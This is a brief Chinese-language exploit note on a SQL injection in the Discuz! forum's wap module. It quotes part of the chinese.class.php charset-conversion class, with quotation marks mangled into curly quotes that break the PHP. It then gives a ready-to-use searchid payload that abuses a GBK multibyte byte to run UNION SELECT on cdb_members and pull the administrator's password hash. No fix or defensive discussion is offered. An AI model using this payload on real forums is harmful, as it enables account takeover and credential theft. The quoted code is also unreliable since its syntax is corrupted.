Discuz!论坛wap功能模块编码的注射漏洞

if(defined('IN_DISCUZ')) { exit('Access Denied'); } define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/'); class Chinese { var $table = ''; var $iconv_enabled = false; var $unicode_table = array(); var $config = array ( 'SourceLang' => '', 'TargetLang' => '', 'GBtoUnicode_table' => 'gb-unicode.table', 'BIG5toUnicode_table' => 'big5-unicode.table', ); function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) { $this->config['SourceLang'] = $this->_lang($SourceLang); $this->config['TargetLang'] = $this->_lang($TargetLang); if(!function_exists(’iconv’) && $this->config['TargetLang'] != ‘BIG5′ && !$ForceTable) { $this->iconv_enabled = true; } else { $this->iconv_enabled = false; $this->OpenTable(); } } function _lang($LangCode) { $LangCode = strtoupper($LangCode); if(substr($LangCode, 0, 2) == ‘GB’) { return ‘GBK’; } elseif(substr($LangCode, 0, 3) == ‘BIG’) { return ‘BIG5′; } elseif(substr($LangCode, 0, 3) == ‘UTF’) { return ‘UTF-8′; } elseif(substr($LangCode, 0, 3) == ‘UNI’) { return ‘UNICODE’; } } function _hex2bin($hexdata) { for($i=0; $i < strlen($hexdata); $i += 2) { $bindata .= chr(hexdec(substr($hexdata, $i, 2))); } return $bindata; } ----- chinese.class.php (utf-8不能利用) searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit